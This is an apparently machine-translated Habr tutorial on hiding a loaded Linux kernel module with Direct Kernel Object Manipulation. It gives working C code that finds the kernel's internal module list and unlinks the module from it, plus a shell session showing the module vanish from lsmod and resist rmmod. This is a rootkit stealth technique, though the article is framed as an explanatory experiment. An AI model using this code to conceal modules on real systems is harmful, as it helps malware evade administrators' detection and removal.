📜 ⬆️ ⬇️

Simple masking of the Linux kernel module using DKOM

As you know, the task of hiding the kernel module from the ubiquitous "eyes" of the user can have many applications. This article discusses the use of DKOM (Direct Kernel Object Manipulation) - one of the techniques that allows you to hide information by modifying the internal structures of the kernel.

Next will be considered the features of the use of this technology in order to hide the visible signs of the presence of a module in the system and, as a consequence, the impossibility of unloading.


')
As the name suggests, the basis of the DKOM is the operation of manipulating the internal structures of the core. In this case, the structure undergoing change is the internal list of modules containing references to all modules loaded into the system.

Module presentation in the kernel



The structure-descriptor of the Linux kernel module is the structure of the same name, described in the linux / modules.h file as follows:

223 struct module 224 { 225 enum module_state state; 226 227 /* Member of list of modules */ 228 struct list_head list; 229 230 /* Unique handle for this module */ 231 char name[MODULE_NAME_LEN]; ... 378 }; 


Among other things, this structure contains a list field, which is an element of a linked list, by which this module is linked into a general list of kernel modules. The latter, in turn, is an internal non-exported list, declared in the kernel / module.c file and protected by the corresponding (exported) mutex :

 103 DEFINE_MUTEX(module_mutex); 104 EXPORT_SYMBOL_GPL(module_mutex); 105 static LIST_HEAD(modules); 


When loading a module, the kernel adds the module to its list. When unloading - excludes. In general, all operations requiring enumeration of loaded modules are somehow reduced to the kernel iteration of this internal list.

Listing loaded modules



In order to list the modules loaded into the system, it is convenient to use the THIS_MODULE macro, which refers to the structure-descriptor of the current module. The list field considered earlier will be an element of the general list of modules with the head descriptor located somewhere in the core of the kernel. So, the function of listing the list of modules loaded into the system is as follows :

 static void list_modules(void) { struct module * mod; struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); debug("List of available modules:\n"); list_for_each(pos, &THIS_MODULE->list) { bool head = (unsigned long)pos >= MODULES_VADDR; mod = container_of(pos, struct module, list); debug(" pos:%pK mod:%pK [%s]\n", pos, \ head ? mod : 0, head ? mod->name : "<- looking for"); } mutex_unlock(&module_mutex); } 


As you can see, first of all, you need to capture the corresponding mutex, so that there are no problems with synchronization, if someone tries to unload one of the modules at the time of the listing.

Further, an important point in the enumeration is to determine the address of the head of the list - the modules structure. Due to the peculiarities of the organization of linked lists in the Linux kernel, the head is not associated with any of the modules. Moreover, since Since the module descriptors are separated from the addresses of the range of modules ( MODULES_VADDR - MODULES_END ), then the definition of the address belonging to this range is trivial. Below is the result of this function, obtained on one of the machines:

 [11025.656372] [findme] List of available modules: [11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth] [11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub] [11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci] [11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp] [11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt] ... [11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x] [11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169] [11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for] 


The last line clearly indicates that the desired structure is located at ffffffff81c2daf0 , which can be verified by running the command:

 # grep -w modules /proc/kallsyms ffffffff81c2daf0 d modules 


Thus, using any of the modules, you can easily search through the list elements to find the root structure. Its distinguishing feature will be an address uncharacteristic for modules ( ffffffff81xxxxxx versus ffffffffa0xxxxxx ), which was used :

 struct list_head * get_modules_head(void) { struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); list_for_each(pos, &THIS_MODULE->list) { if ((unsigned long)pos < MODULES_VADDR) { break; } } mutex_unlock(&module_mutex); if (pos) { debug("Found \"modules\" head @ %pK\n", pos); } else { debug("Can't find \"modules\" head, aborting\n"); } return pos; } 


Manipulations of the list of modules



Hiding a module is not difficult in principle, since the operation of excluding an element from the list does not require anything other than this element. Reinsertion operation requires any of the existing list items. In this case, the root element of the system is used. Thus, hiding and re-adding the module is as follows :

 static void hide_or_show(int new) { while(!mutex_trylock(&module_mutex)) cpu_relax(); if (new == 1) { /* 0 -> 1 : hide */ list_del(&THIS_MODULE->list); debug("Module \"%s\" unlinked\n", THIS_MODULE->name); } else { /* 1 -> 0 : show */ list_add(&THIS_MODULE->list, p_modules); debug("Module \"%s\" linked again\n", THIS_MODULE->name); } mutex_unlock(&module_mutex); } 


In the first case, to exclude their list, use list_del . In the second - list_add . Both operations are protected by capturing the corresponding mutex.

Practical part



The prepared example contains the module code that implements the masking functions. For verification, you should assemble the module and load it with standard tools via make and insmod

Further, immediately after the download, the module will be accessible via lsmod or rmmod . Next, I present a sequence of actions to check the functions of disguise:

 # insmod findme.ko # lsmod | grep findme findme 12697 0 # sysctl -w findme=1 findme = 1 # lsmod | grep findme # rmmod findme libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory Error: could not remove module findme: No such file or directory # sysctl -w findme=0 findme = 0 # lsmod | grep findme findme 12697 0 # rmmod findme 


Thus, there is the possibility of simply hiding the kernel module from prying eyes. The presented example contains the necessary code for the experiments.

On read



1. Direct Kernel Object Manipulation
2. Linux Kernel Linked List Explained
3. Linux kernel design patterns - part 2

Source: https://habr.com/ru/post/205274/


All Articles